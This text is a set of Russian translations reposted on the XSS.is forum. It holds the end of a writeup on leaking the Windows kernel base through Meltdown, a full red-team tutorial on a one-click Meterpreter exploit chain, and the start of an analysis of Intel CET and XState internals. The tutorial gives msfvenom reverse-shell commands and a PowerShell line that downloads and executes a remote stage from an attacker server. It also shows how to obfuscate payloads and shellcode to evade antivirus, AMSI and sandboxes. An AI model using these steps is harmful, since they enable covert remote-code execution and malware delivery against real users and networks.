for ( pml4e = 0x100 ; pml4e < 0x200 ; pml4e ++ ) // Starting from 0x100 because user/kernel division
for ( pdpte = 0 ; pdpte < 0x200 ; pdpte ++ )
for ( pde = 0 ; pde < 0x200 ; pde ++ )
for ( pte = 0 ; pte < 0x200 ; pte ++ )
if ( is_three_consecutive_executable_PTEs ( pte ) == TRUE )
Shadow NT code found!
Как только этот код раздела найден, последним шагом является вычитание дельта- смещения из раздела KVASCODE в базовый адрес "ntoskrnl.exe", как показано ниже:
NT base = KVASCODE_address - KVASCODE_delta_from_NT
Click to expand...
Поскольку этот теневой код является частью NT, получение базового адреса - это просто вычитание. Важно уточнить, что смещение (дельта) этого раздела изменяется между выпусками Windows, но обычно оно одинаково для разных версий ntoskrnl.exe одного и того же выпуска. В случае Windows 20H1 "Обновление от мая 2020 года" смещение от базового адреса NT составляет 0xa21000 байт, что соответствует страницам 0xa21.
На следующем снимке экрана мы можем видеть, как базовый адрес ntoskrnl.exe может быть получен за 900 миллисекунд:
Ликер NT можно скачать здесь. (<https://github.com/bluefrostsecurity/Meltdown- KVA-Shadow-Leak/>)
Примечание. Начиная с Windows 10 RS6, при работе на компьютерах с оперативной памятью, равной или превышающей 4 ГБ, базовый адрес ntoskrnl.exe выравнивается до 2 МБ.
В этом случае обнаружение раздела KVASCODE происходит намного быстрее, поскольку смещение в PAGE TABLE является фиксированным, что значительно сокращает процесс утечки до 1/512 попыток, а также облегчает этот процесс, просто выпуская содержимое только одного исполняемого файла PTE
NT утечка через Meltdown (выводы)
Утечка базового адреса NT - очень распространенная техника, используемая эксплойтами для повышения привилегий в ядре, где она используется для поиска SYSTEM и текущей структуры EPROCESS из связанного списка PsInitialSystemProcess, а затем для определения структуры TOKEN, которая используется для получения привилегии SYSTEM.
Получение базового адреса NT тривиально при работе на среднем уровне целостности, и его можно получить, просто вызвав функцию NtQuerySystemInformation. В процессах, работающих на низком уровне целостности, обычно в песочнице, необходимо иметь ошибку раскрытия информации, чтобы получить базовый адрес NT, как описано ранее. В большинстве случаев уязвимости раскрытия информации абсолютно необходимы для того, чтобы уйти от ограниченных процессов, таких как песочницы, используемые браузерами, такими как Chrome, Edge или Firefox.
Финальные заметки
Хотя Meltdown был действительно знаменитой атакой, и все операционные системы, работающие под управлением процессоров Intel, пострадали, полных доказательств того, что она используется в дикой среде нет. Хуже того, существует не так много общедоступных эксплойтов ядра, использующих Meltdown для эксплойтов Windows, за исключением некоторых POC. Этот пост является доказательством того, что эта атака по-прежнему полезна даже при включенной защите от Meltdown, и ее можно использовать в практических атаках для взлома Windows KASLR, которую затем можно использовать для выхода из любого изолированного приложения в сочетании с эксплоитом повышения привилегий ядра.
Источник: <https://labs.bluefrostsecurity.de/blog/2020/06/30/meltdown-
reloaded-breaking-windows-kaslr/>
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Цель этой статьи - продемонстрировать шаг за шагом работающую цепочку эксплоитов. Идея состоит в том, чтобы предоставить небольшое руководство для многоступенчатой доставки полезной нагрузки, включая обход обычных средств защиты, имеющихся в корпоративных сетях, для получения RCE. Обход антивируса не является предметом данной статьи, так как он не должен быть предметом какого-либо теста на проникновение, однако будут продемонстрированы способы быстрого обхода практически любых антивирусов на рынке. В более общем смысле, будут обсуждаться любые ограничения, стоящие перед атакующим на пути к получению метерпретера, такие как прокси, песочницы, AMSI и так далее, и мы покажем решения каждой из этих проблем.
В этой статье будет приведен пример доставки полезных данных для red team в 2020 году. Для этого задания, был разработан баш сценарий для автоматизации каждого этапа создания полезной нагрузки. Некоторые части будут показаны позже, и вы можете найти ссылку на скрипт в ссылке.
Сценарий доставки полезной нагрузки
Идея заключалась в том, чтобы выполнить доставку с использованием фишинга через ссылку, которая перенаправила бы пользователя на загрузку и выполнение нашей вредоносной полезной нагрузки. Было несколько ограничений для успешного получения RCE. Во-первых, их рабочие станции могли работать под управлением Windows или MacOS, поэтому мы должны были подготовиться к созданию двух разных полезных нагрузок и доставить их соответствующим образом. Затем у них есть прокси. Надеемся, что их прокси прозрачен, так что это будет не так сложно. Наконец, у них также есть песочница, которая проверяет ссылки и вложения в электронных письмах. Мы сосредоточимся на сценарии Windows, так как это наиболее интересный случай с некоторыми ограничениями. Мы выбрали трехступенчатую полезную нагрузку с файлом HTA для передачи данных через PowerShell чтобы получить доступ к метерпретеру через дроппер. PowerShell до сих пор остается одним из самых надежных способов внедрения кода в память в Windows, даже при наличии AMSI (позже мы покажем, как обойти AMSI).
Демонстрация цепочки эксплоитов: HTA + дроппер PowerShell + Meterpreter
Мы решили подготовить файл HTA, который будет запускать наш дроппер PowerShell на компьютере жертвы с Windows. Многие компании по-прежнему используют Internet Explorer или Edge в качестве браузера по умолчанию, поэтому сценарий на основе файла HTA не редкость.
Итак, у нас будет цепочка эксплоитов, похожая на эту:
Для метерпретера, мы использовали реверс нагрузку HTTPS, поскольку есть
прокси. Один вопрос, который мы задали себе: "мы должны использовать поэтапный
или безэтапный метерпретер?" Технически, с поэтапным метерпретером, цепочка
эксплоитов может привести к 4 этапам доставки кода. Здесь необходимо
рассмотреть вопрос об обнаружении. Загружая внешние фрагменты кода в память,
мы можем легко получить EDR. Вот почему безэтапный метерпретер должен быть
предпочтительным вариантом.
Настройка BeEF и реверс прокси
Следующий вопрос у нас был такой: "Как доставить файл HTA?" Для наших обязательств нам нравится использовать BeEF. Хорошим моментом BeEF является то, что даже в случае сбоя доставки полезной нагрузки браузер все еще подключен, и можно попробовать другие методы. Кроме того, у BeeF уже есть модуль, выполняющий доставку файла HTA, который называется "HTA PowerShell". HTA от BeEF использует дроппер PowerShell для инжекта MSF реверс загрузки HTTPS . Однако мы не будем использовать его из BeEF, потому что он, вероятно, помечен, поэтому мы должны использовать настроенный файл HTA и сказать BeEF, чтобы доставить его.
Это возможно путем настройки параметров модуля HTA PowerShell. Однако, мы обнаружили странное поведение с BeEF, которое просто не захватывало бы нашу полезную нагрузку, обслуживаемую Apache или любым другим HTTP-сервером с конфигурацией по умолчанию. Проблема заключалась в жестко заданном пути внутри источника BeEF, поэтому нам пришлось его удалить. Например, если будет обслуживаться файл с именем "hta.hta", он не будет работать из-за отсутствия расширения, если вы не выполните перенаправление URI.
И тогда наш тестовый файл HTA может быть успешно захвачен BeEF и доставлен. Мы настроили наш реверс прокси-сервер для доставки полезной нагрузки на основе User-Agent в песочницу. Полезно предотвратить захват полезной нагрузки изолированной программной средой, потому что мы будем обслуживать нагрузку только законным агентам пользователя. Таким образом, если в песочнице используется пользовательский агент, отличный от Windows, он не увидит ничего, кроме простой HTML-страницы. Это не надежная защита, а хорошо известная уловка, позволяющая избежать обнаружения в песочнице. Поскольку в целевой компании было несколько ОС, она также использовалась для предоставления правильной нагрузки для каждой ОС. Давайте объясним, как нам удается выполнить настройку полезной нагрузки, чтобы иметь рабочие и необнаруживаемые полезные нагрузки.
Изменение шаблона MSF PowerShell
Сначала мы сосредоточимся на нашей стадии PowerShell, которая будет вызываться внутри файла HTA. Мы начали с базовой полезной нагрузки MSF psh-net:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=
LPORT=443 -f psh-net -o msf_payload.ps1 Click to expand...
Просто для развлечения, мы попытались загрузить эту полезную нагрузку без шеллкода (заменив base64 шеллкод на закодированное слово "Привет"), и вот обнаружение, которое мы получили:
Это показывает, что большая часть обнаружения происходит из шаблона PowerShell, а не из самого шеллкода. Таким образом, цель состоит в том, чтобы изменить файл PS настолько, чтобы сигнатуры не совпадали, чтобы избежать статического обнаружения. Для этого есть немало "техник":
- разбиение строк на несколько частей и создание промежуточных переменных;
- Добавление множества нежелательных комментариев;
- Добавление некоторых мусорных инструкций, таких как инструкции цикла или инструкции сна (полезно для песочниц).Click to expand...
Этот подход может быть автоматизирован довольно легко.
Ниже приведены простые примеры того, как мы можем запутать части файла PS:
[DllImport(“kernel32.dll”)]
Click to expand...
-->
[DllImport(“ke”+”rne”+”l32.dll”)]$przdE.ReferencedAssemblies.AddRange(@(“System.dll”, [PsObject].Assembly.Location))
Click to expand...
-->
$magic = “Syst”+”em”+”.dll”; $lnNJd.ReferencedAssemblies.AddRange(@($magic, [PsObject].Assembly.Location))
Click to expand...
Разделение шеллкода предотвратит совпадение любой части подписи (позже мы также увидим, как изменить шеллкод):
$sc0=<Part 1 of shellcode> ; … $sc7=<Part 8 of shellcode>; [Byte[]]$tcomplete_sc = [System.Convert]::FromBase64String($sc0+$sc1+…+$sc7)
Click to expand...
Для поэтапной полезной нагрузки достаточно всего около 7 блоков, однако, поскольку бесступенчатый шеллкод намного больше, может быть интересно автоматизировать этот шаг, как мы покажем в конце статьи. Разделение поэтапных шеллкодов на блоки по 1337 символов дало более 201 фрагмента, поэтому выполнение этого вручную может быть довольно утомительным.
При отправке нашего измененной нагрузки с шеллкодом MSF по умолчанию в VirusTotal, мы получили результат:
Следующая часть будет о модификации шелл-кода и о том, как избежать его захвата в памяти.
Настройка шеллкода
Модификация шеллкода является "самой сложной" частью настройки полезной нагрузки. Некоторые неуместные изменения могут сломать шеллкод, поэтому важно сделать "безопасные" изменения и проверить их после. Есть несколько мест, где нужно искать подпись. В прошлом все полезные данные MSF кодировались с помощью shikata-ga-nai, если не указано иное. Кодер по-прежнему полезен по сравнению с отсутствием кодера, потому что сырой метерпретер в памяти будет легко перехватываться EDR и IPS/IDS. Кроме того, если вы достаточно хорошо измените шеллкод, вы можете обойти AMSI. Для этого вам не нужны знания по сборке, поскольку некоторые инструкции не требуют пояснений, например, inc или dec.
Первый шаг к модификации шеллкода - извлечь шеллкод и поместить его в файл. Здесь мы возьмем дефолтую MSF нагрузку с реверс HTTPS для демонстрации
Извлечем строку полезной нагрузки в кодировке base64:
cat raw_pshnet_revhttps.ps1 | grep FromBase64String | grep -o ".*" | sed 's/"//g' > raw_pshnet_revhttps.base64.txt
Click to expand...
Извлечем строку полезной нагрузки в кодировке base64:
cat raw_pshnet_revhttps.ps1 | grep FromBase64String | grep -o ".*" | sed 's/"//g' > raw_pshnet_revhttps.base64.txt
Click to expand...
Затем вставьте шестнадцатеричную строку в дизассемблер. Мы будем использовать
онлайн-дизассемблер https://defuse.ca/online-x86-assembler.htm для
демонстрационных целей. Не забудьте поставить правильную архитектуру. Здесь у
нас полезная нагрузка x64. Обратите внимание, что, поскольку в PowerShell
произошли некоторые изменения, вы не можете заставить 32-битный шеллкод
работать с 64-битным процессом PowerShell, вы должны использовать x64-шеллкод.
Вы видите первые дизассемблированные инструкции:
Мы хотим поместить ненужные инструкции в начале ассемблерного кода. Будьте осторожны, если вы поместите инструкции после call cld, шелл-код будет перестанет работать, поскольку строковые операции будут влиять на регистры индекса (esi и edi). Вы можете добавить некоторые инструкции, такие как xor, inc, dec, add, sub, mov, nop и так далее в начало. Есть много способов добавить инструкции, но вы можете просто использовать ассемблер на defuse.ca для сборки инструкций и затем вернуть их обратно в шеллкод. Ниже приведен пример инструкций, которые мы добавили:
Не добавляйте слишком много nop подряд, потому что это может быть помечено как подозрительное. Здесь мы изменили регистр rax, потому что он не используется в начале. Конечно, одну и ту же операцию можно выполнить в разных местах шелл- кода. Когда у вас есть готовый шеллкод, вы можете вставить его в файл и преобразовать в base64.
xxd -p -r final_pshnet_revhttps.hex.txt | base64 | tr -d '\n' > final_pshnet_revhttps.base64.txt
Click to expand...
Наконец, вы можете положить его обратно в файл PS.
Подготовка файла HTA
Итак, теперь, когда у нас есть готовый шеллкод и шаблон PowerShell, нам нужно подготовить файл HTA, который будет выполнять наш дроппер. MSF может создать файл HTA с помощью следующей команды:
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=X.X.X.X LPORT=443 -f hta-psh -o msf_hta.hta
Click to expand...
Здесь полезной нагрузкой является бесступенчатый реверс HTTPS, но нас не волнует сгенерированная полезная нагрузка, поскольку мы будем использовать HTA для вызова собственной полезной нагрузки PowerShell. Она создаст файл со встроенным VBScript, который будет вызывать PowerShell с закодированной командой, которая выполняет загрузку шелл-кода в память.
Мы декодируем исходную полезную нагрузку и адаптируем ее для выполнения нашей собственной полезной нагрузки PowerShell. Поместите это в файл, и мы собираемся декодировать это:
cat base64_hta_payload.txt | base64 -d > decoded_hta_payload.txt
Click to expand...
Результат должен выглядеть так:
Здесь мы хотим удалить загрузку шелл-кода base64 и вместо этого выполнить веб- запрос на выполнение полезной нагрузки PowerShell стадии 2, размещенной на нашем веб-сервере. Мы также должны принять во внимание прокси, прежде чем делать запрос. В PowerShell это выглядело бы примерно так:
http://X.X.X.X/stage2.ps1 -UserAgent ‘Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko’|IEX
Click to expand...
Здесь мы устанавливаем User-Agent таким образом, чтобы наш веб-сервер обслуживал правильную нагрузку (в соответствии с User-Agent "Windows"). Затем вам нужно конвертировать ваш измененный дроппер в base64 UTF-16LE и поместить его обратно в файл HTA:
cat decoded_hta_payload.txt | iconv -f ascii -t utf-16le | base64 | tr -d '\n' > hta_payload.base64.txt
Click to expand...
Результат выглядит так:
Наконец, у нас есть готовая цепочка эксплоитов.
Запуск атаки
Время проверить! Наша жертва - Windows 10 Pro версии 1909 (сборка ОС 18363.600) со всеми включенными средствами защиты.
Мы моделируем перехват браузера с BeEF, просматривая страницу, содержащую скрипт перехвата BeEF. В реальной жизни это можно сделать с помощью XSS, фишинг-кампании и так далее
Отсюда мы можем перейти к модулю HTA PowerShell и запустить его. Мы переписываем обслуживающий домен и обработчик HTA для обслуживания нашей пользовательской нагрузки:
HTA доставляется нашей жертве:
Как только жертва нажмет на кнопку Открыть, она загрузит дроппер PowerShell
(этап 2) и выполнит его. Затем последний вводит полный шелл-код метерпретера в
память (так как он бесступенчатый), поэтому при загрузке модулей метерпретера
нас не поймают. Все это, конечно, скрыто от жертвы, и через несколько секунд
после щелчка мы получаем сеанс метерпретера. Метерпретер полностью работает и
не перехватывается антивирусным решением (в данном случае мы протестировали
его с помощью новейшего Защитника Windows).
Заключение
Показанный здесь метод довольно прост и не требует больших усилий, что отвечает требованиям тестирования на проникновение, когда у вас обычно не так много времени, чтобы подготовить что-то или создать необычные инструменты. Обратите внимание, что метод, который был показан здесь для обхода антивирусов, является лишь одним из многих способов, которые можно использовать для этого. На самом деле, мы могли бы пойти еще дальше (и планируем), автоматизировав изменения шеллкода. Тогда у нас будет полностью автоматизированная модификация полезной нагрузки MSF. Вы можете столкнуться с другими средствами защиты, такими как AppLocker, о которых мы здесь не говорим, что сделает такой подход бесполезным, поскольку PowerShell больше не будет в нашем распоряжении. Это может стать темой другого поста в будущем, в зависимости от отзывов, которые мы получим.
Использованные источники
Источник: [https://medium.com/@bluedenkare/1-c...ain-with-beef-and-av-amsi-
bypass-96b0eb61f1b6](https://medium.com/@bluedenkare/1-click-meterpreter-
exploit-chain-with-beef-and-av-amsi-bypass-96b0eb61f1b6)
Автор перевода: yashechka
Переведено специально для портала XSS.is (c)
Наконец, после долгих лет обсуждений, в Windows 10 (сборка 1903) вышла очень интересная вещь - часть реализации технологии Intel "Control-flow Enforcement Technology" (CET) ([https://software.intel.com/sites/de...ntrol-flow- enforcement-technology- preview.pdf](https://software.intel.com/sites/default/files/managed/4d/2a/control- flow-enforcement-technology-preview.pdf)). Более подробная информация об этой технологии добавляется в каждый релиз Windows, и в этом году, релиз 20H1 (сборка 2004 г.), завершается поддержкой возможностей Пользовательского Режима Теневого Стека CET, которые будут доступны в процессорах Intel Tiger Lake.
Напомним, что Intel CET - это аппаратное средство защиты, которое устраняет два типа нарушений целостности потока управления, обычно используемых эксплоитами: нарушение forward-edge (косвенные инструкции CALL и JMP) и нарушение backward-edge (инструкции RET).
В то время как реализация forward-edge менее интересна (так как это по существу более слабая форма clang-cfi (https://clang.llvm.org/docs/ControlFlowIntegrity.html), похожая на Microsoft Control Flow Guard (<https://docs.microsoft.com/en- us/windows/win32/secbp/control-flow-guard>), реализация backward-edge опирается на фундаментальное изменение в ISA: введение нового стека называемого "Теневой Стек", который теперь реплицирует адреса возврата, которые помещаются в стек инструкцией CALL, с инструкцией RET, теперь проверяющей значения как стека, так и теневого стека, и генерирующей прерывание INT #21 (Ошибка Защиты Потока Управления) в случай несоответствия.
Поскольку операционные системы и компиляторы должны иногда поддерживать последовательности потоков управления, отличные от инструкций CALL/RET (такие как раскрутка исключений и механизм longjmp (https://en.cppreference.com/w/cpp/utility/program/longjmp)), иногда необходимо манипулировать "Указателем Теневого Стека" (SSP) на уровне системы, чтобы соответствовать требуемому поведению - и в свою очередь, проверять, чтобы сама эта манипуляция не стала потенциальным обходом. В этом посте мы расскажем, как Windows добивается этого.
Прежде чем углубляться в то, как Windows манипулирует и проверяет теневой стек для потоков, необходимо разобраться с двумя частями его реализации. Первое - это фактическое местонахождение и разрешения SSP, а второе - это механизм, используемый для хранения/восстановления SSP при переключении контекста между потоками, а также способы внесения изменений в SSP при необходимости (например, во время раскрутки исключения).
Чтобы объяснить эти механизмы, нам нужно углубиться в функцию центрального процессора Intel, которая была первоначально введена Intel для поддержки инструкций "Advanced Vector eXtensions" (AVX) (https://en.wikipedia.org/wiki/Advanced_Vector_Extensions) и впервые поддержана Microsoft в операционной системе Windows 7. А поскольку добавление поддержки для этой функции потребовало масштабной реструктуризации структуры CONTEXT в недокументированную структуру CONTEXT_EX (и добавление документированных и нативных функций для ее манипулирования), нам также придется поговорить об ее внутренностях!
Наконец, нам даже придется пройтись по некоторым внутренним компонентам форматов файлов компилятора и PE, а также новым классам информации о процессах, чтобы охватить дополнительные тонкости и требования к функциональности CET в Windows. Мы надеемся, что приведенное ниже оглавление поможет вам разобраться в этом подробном описании этих возможностей. Кроме того, при необходимости можно получить аннотированный исходный код для различных недавно представленных функций, щелкнув имена функций на основе нашего связанного репозитория GitHub (<https://github.com/yardenshafir/cet- research>).
Оглавление
- XState Internals
** XSAVE Area
** XState Configuration
** XState Policy
** CET XSAVE Area Format
- CONTEXT_EX Internals
** CONTEXT_EX Structure
** Initializing a CONTEXT_EX
** Controlling XState Feature Masks in CONTEXT_EX
** Locating XState Features in a CONTEXT_EX
** Example Usage and Output
- CONTEXT_EX Validation
** NtContinueEx and KCONTINUE_ARGUMENT
** Shadow Stack Pointer (SSP) Validation
** Instruction Pointer (RIP) Validation
- Exception unwinding and longjmp Validation
** PE Metadata Tables
** User Inverted Function Table
** Dynamic Exception Handler Continuation Targets
** Target ValidationClick to expand...
Внутренности XState
Процессоры класса архитектуры x86-x64 изначально начинались с простого набора регистров, с которыми знакомы большинство исследователей безопасности - регистры общего назначения (RAX, RCX), регистры управления (например, RIP/RSP), регистры с плавающей запятой (XMM, YMM, ZMM) и некоторые регистры управления, отладки и тестирования. Однако по мере добавления дополнительных возможностей процессора необходимо было определить новые регистры, а также регистры конкретного состояние процессора, связанные с этими возможностями. А поскольку многие из этих функций являются локальными для потока, они должны быть сохранены и восстановлены во время переключения контекста.
В ответ, Intel определила спецификацию ([https://www.intel.com/content/dam/w...-architectures-software-developers- manual.pdf](https://www.intel.com/content/dam/www/public/us/en/documents/manuals/64-ia-32-architectures- software-developers-manual.pdf)) "eXtended State" (XState), которая связывает различные состояния процессора с битами в "Маске Состояний" и вводит дополнительные инструкции, такие как XSAVE и XRSTOR, для чтения и записи запрошенных состояний из "Области XSAVE". Поскольку эта область в настоящее время является критически важной частью хранилища регистров CET для каждого потока, и большинство людей в значительной степени игнорируют поддержку XSAVE из-за ее изначального внимания к функциям с плавающей запятой, AVX и "Расширения Защиты Памяти - Memory Protection eXtensions" (MPX) (<https://software.intel.com/en-us/articles/introduction-to-intel-memory- protection-extensions>), мы подумали, что обзор функциональности и расположение памяти будет полезно для читателей.
Область XSAVE
Как уже упоминалось, область XSAVE первоначально использовалась для хранения некоторых новых функциональных возможностей с плавающей запятой, таких как AVX, которые были добавлены в процессоры Intel, и для консолидации существующих состояний регистров x87 FPU и SSE, которые ранее сохранялись с помощью инструкций FXSTOR и FXRSTR. Эти первые два унаследованных состояния были определены как часть "Устаревшей области XSAVE", а любые дополнительные регистры процессора (такие как AVX) были добавлены в "Расширенную область XSAVE". Между ними "Заголовок области XSAVE" используется для описания того, какие расширенные функции присутствуют через маску состояния, называемую XSTATE_BV.
В то же время, был добавлен новый "Расширенный Регистр Управления - eXtended Control Register" (XCR0), который определяет, какие состояния поддерживаются операционной системой как часть функциональности XSAVE, а инструкции XGETBV и XSETBV были добавлены для настройки регистра XCR0 (и, возможно, в будущем XCR также). Например, операционные системы могут выбрать программирование регистра XCR0 так, чтобы он не содержало биты состояния функции для регистров x87 FPU и SSE, что означает, что они будут сохранять эту информацию вручную с устаревшими инструкциями FXSTOR и сохранят только расширенное состояние функции в своих областях XSAVE.
По мере роста количества расширенных наборов и возможностей регистров, таких как "Ключи Защиты Памяти - Memory Protection Keys- https://www.kernel.org/doc/html/latest/core-api/protection-keys.html" (MPK), в которые добавлено "Состояние Пользовательского Регистра Ключей Защиты - Protection Key Register User State" (PKRU), новые процессоры вводили различие между "Состоянием Супервизора", которое может только быть измененным кодом CPL0 с использованием инструкций XSAVES и XRSRTORS, а также версий "сжатия" и "оптимизации" (XSAVEC/XSAVEOPT), чтобы усложнить ситуацию в типичном для Intel стиле. Новый "Специфичный Регистр Модели - Model Specific Register" (MSR), названный IA32_XSS, был добавлен, чтобы определить, какие состояния доступны только для супервизора.
Механизм "оптимизированного XSAVE" существует, чтобы гарантировать, что только
состояние процессора, которое фактически было изменено другим потоком с
момента последнего переключения контекста (если есть), будет фактически
записано в области XSAVE. Для отслеживания этой информации существует
внутренний регистр процессора XINUSE. Когда используется XSAVEOPT, маска
XSTATE_BV теперь включает только биты, соответствующие состояниям, которые
были фактически сохранены, а не просто биты всех запрошенных состояний.
Механизм "сжатого XSAVE", с другой стороны, исправил расточительный недостаток в дизайне XState: по мере добавления все более и более расширенных функций, таких как AVX512 и "Intel Processor Trace (<https://software.intel.com/en- us/blogs/2013/09/18/processor-tracing>)" (IPT), это означало, что даже для потоков, которые не использовали эти возможности, достаточно большая область XSAVE должна была быть выделена и записана (заполнена нулями) процессором. Хотя оптимизированный XSAVE позволит избежать этих записей, это все равно означает, что любые расширенные функции, следующие за большими, но еще неиспользованными состояниями, будут находиться на больших смещениях от основного буфера области XSAVE.
В XSAVEC эта проблема решается путем использования только пространства для сохранения функций XState, которые фактически включены (и используются, поскольку сжатие подразумевает оптимизацию) текущим потоком, и последовательно размещают каждое сохраненное состояние в памяти без пропусков между ними. (но потенциально с фиксированным 64-байтовым выравниванием, которое предоставляется как часть "маски выравнивания" через инструкцию CPUID). Заголовок области XSAVE, показанный ранее, теперь расширен второй маской состояния, называемой XCOMP_BV, которая указывает, какие из запрошенных битов состояния, которые были запрошены, могут присутствовать в вычисляемой области. Обратите внимание, что в отличие от XSTATE_BV, эта маска не пропускает биты состояния, которые не были частью XINUSE - она включает в себя все возможные биты, которые могли быть сжаты - все равно необходимо проверить XSTATE_BV, чтобы определить, какие области состояния действительно присутствуют. Наконец, бит 63 всегда устанавливается в XCOMP_BV, когда использовалась сжатая инструкция, как индикатор того, для какого формата имеет область XSAVE.
Таким образом, использование сжатого и не сжатого формата определяет внутреннюю разметку и размер области XSAVE. Сжатый формат будет выделять память в области XSAVE только для функций процессора, используемых потоком, в то время как несжатый будет выделять память для всех функций процессора, поддерживаемых процессором, но заполнять только те, которые используются потоком. На диаграмме ниже показан пример того, как будет выглядеть область XSAVE для того же потока, но при использовании одного и другого формата.
Подводя итог, в котором говорится, что семейство инструкций XSAVE * / XRSTOR *
будет работать с комбинацией:
- Какие биты состояния операционной системы утверждает, что она поддерживает в XCR0 (устанавливается с помощью инструкции XSETBV)
- Какие биты состояния хранит вызывающая сторона в паре регистров EDX:EAX при использовании инструкции XSAVE (Intel называет это "маской инструкции")
- При использовании непривилегированных инструкций, какие биты состояния не установлены в IA32_XSS
- На процессорах, которые поддерживают "Оптимизированный XSAVE", биты состояния которого установлены в XINUSE, внутреннем регистре, который отслеживает фактические регистры, связанные с XState, которые использовались текущим потоком с момента последнего переходаClick to expand...
Как только эти биты маскируются вместе, окончательный набор результирующих битов состояния записывается командой XSAVE в заголовок области XSAVE в поле, называемом XSTATE_BV. В случае, когда используется "сжатый XSAVE", результирующие биты состояния, пропускающие пункт 4 (XINUSE), записываются в заголовок области XSAVE в поле XCOMP_BV. На схеме ниже показаны полученные маски.
Конфигурация Xstate
Поскольку каждый процессор имеет свой собственный набор функций, потенциальных размеров, возможностей и механизмов с поддержкой XState, Intel предоставляет всю эту информацию через различные классы инструкции CPUID, которые операционная система должна запрашивать при работе с XState. Windows выполняет эти запросы при загрузке и сохраняет информацию в структуре XSTATE_CONFIGURATION, которая показана ниже (документировано в файле Winnt.h)
C:Copy to clipboard
typedef struct _XSTATE_CONFIGURATION
{
ULONG64 EnabledFeatures;
ULONG64 EnabledVolatileFeatures;
ULONG Size;
union
{
ULONG ControlFlags;
struct
{
ULONG OptimizedSave:1;
ULONG CompactionEnabled:1;
};
};
XSTATE_FEATURE Features[MAXIMUM_XSTATE_FEATURES];
ULONG64 EnabledSupervisorFeatures;
ULONG64 AlignedFeatures;
ULONG AllFeatureSize;
ULONG AllFeatures[MAXIMUM_XSTATE_FEATURES];
ULONG64 EnabledUserVisibleSupervisorFeatures;
} XSTATE_CONFIGURATION, *PXSTATE_CONFIGURATION;
После заполнения этих данных, ядро сохраняет эту информацию в структуре KUSER_SHARED_DATA, к которой можно получить доступ через переменную SharedUserData и расположенную по адресу 0x7FFE0000 на всех платформах Windows.
Например, вот выходные данные нашей тестовой системы версии 19H1, которая поддерживает как оптимизированные, так и сжатые формы области XSAVE и имеет функциональные биты x87 FPU(0), SSE(1), AVX(2) и MPX(3, 4) включенными.
Bash:Copy to clipboard
dx ((nt!_KUSER_SHARED_DATA*)0x7ffe0000)->XState
[+0x000] EnabledFeatures : 0x1f [Type: unsigned __int64]
[+0x008] EnabledVolatileFeatures : 0xf [Type: unsigned __int64]
[+0x010] Size : 0x3c0 [Type: unsigned long]
[+0x014] ControlFlags : 0x3 [Type: unsigned long]
[+0x014 ( 0: 0)] OptimizedSave : 0x1 [Type: unsigned long]
[+0x014 ( 1: 1)] CompactionEnabled : 0x1 [Type: unsigned long]
[+0x018] Features [Type: _XSTATE_FEATURE [64]]
[+0x218] EnabledSupervisorFeatures : 0x0 [Type: unsigned __int64]
[+0x220] AlignedFeatures : 0x0 [Type: unsigned __int64]
[+0x228] AllFeatureSize : 0x3c0 [Type: unsigned long]
[+0x22c] AllFeatures [Type: unsigned long [64]]
[+0x330] EnabledUserVisibleSupervisorFeatures : 0x0 [Type: unsigned __int64]
В массиве Features можно найти размер и смещение каждой из этих пяти функций:
Bash:Copy to clipboard
dx -r2 (((nt!_KUSER_SHARED_DATA*)0x7ffe0000)->XState)->Features.Take(5)
[0] [Type: _XSTATE_FEATURE]
[+0x000] Offset : 0x0 [Type: unsigned long]
[+0x004] Size : 0xa0 [Type: unsigned long]
[1] [Type: _XSTATE_FEATURE]
[+0x000] Offset : 0xa0 [Type: unsigned long]
[+0x004] Size : 0x100 [Type: unsigned long]
[2] [Type: _XSTATE_FEATURE]
[+0x000] Offset : 0x240 [Type: unsigned long]
[+0x004] Size : 0x100 [Type: unsigned long]
[3] [Type: _XSTATE_FEATURE]
[+0x000] Offset : 0x340 [Type: unsigned long]
[+0x004] Size : 0x40 [Type: unsigned long]
[4] [Type: _XSTATE_FEATURE]
[+0x000] Offset : 0x380 [Type: unsigned long]
[+0x004] Size : 0x40 [Type: unsigned long]
Сложение этих размеров дает нам 0x3C0, что является значением, показанным выше в поле FeatureSize. Однако обратите внимание, что, поскольку эта система поддерживает функцию Compacted XSAVE, показанные здесь смещения не имеют значения, и только поле AllFeatures полезно для ядра, которое содержит размер каждой функции, но не смещение (как это будет определяется на основе маски сжатия, используемой в XCOMP_BV).
Политика XState
К сожалению, несмотря на то, что процессор может претендовать на поддержку определенной функции XState, часто оказывается, что из-за различных аппаратных ошибок некоторые конкретные процессоры могут не полностью или неправильно поддерживать эту функцию в конце концов. Для обработки этой возможности Windows использует политику XState, которая представляет собой информацию, хранящуюся в разделе ресурсов Драйвера Политики Оборудования, который обычно называется HwPolicy.sys.
Поскольку архитектура Intel x86 представляет собой комбинацию множества поставщиков процессоров, конкурирующих с вариантами наборов функций друг друга, ядро должно проанализировать политику XState и сравнить текущую строку поставщика и Версию Микрокода, а также его Подпись, Функции и Расширенные функции. (а именно, регистры RAX, RDX и RCX из запроса инструкции CPUID 01h)
Эта работа выполняется при загрузке функцией KiIntersectFeaturesWithPolicy, которая вызывается функцию KiInitializeXSave, которая вызывает KiLoadPolicyFromImage для загрузки соответствующей политики XState, вызывает KiGetProcessorInformation для получения данных центрального процессора, упомянутых ранее, а затем проверяет каждый бит функции, включенный в настоящее время в конфигурации XState, посредством обращений к KiIsXSaveFeatureAllowed.
Эти функции работают с ресурсом 101 в драйвере HwPolicy.sys, который начинается со следующей структуры данных:
C:Copy to clipboard
typedef struct _XSAVE_POLICY
{
ULONG Version;
ULONG Size;
ULONG Flags;
ULONG MaxSaveAreaLength;
ULONGLONG FeatureBitmask;
ULONG NumberOfFeatures;
XSAVE_FEATURE Features[1];
} XSAVE_POLICY, *PXSAVE_POLICY;
Например, в нашей системе версии 19H1 содержимое (которое мы извлекли с помощью Resource Hacker) было следующим:
Bash:Copy to clipboard
dx @$policy = (_XSAVE_POLICY*)0x253d0e90000
[+0x000] Version : 0x3 [Type: unsigned long]
[+0x004] Size : 0x2fd8 [Type: unsigned long]
[+0x008] Flags : 0x9 [Type: unsigned long]
[+0x00c] MaxSaveAreaLength : 0x2000 [Type: unsigned long]
[+0x010] FeatureBitmask : 0x7fffffffffffffff [Type: unsigned __int64]
[+0x018] NumberOfFeatures : 0x3f [Type: unsigned long]
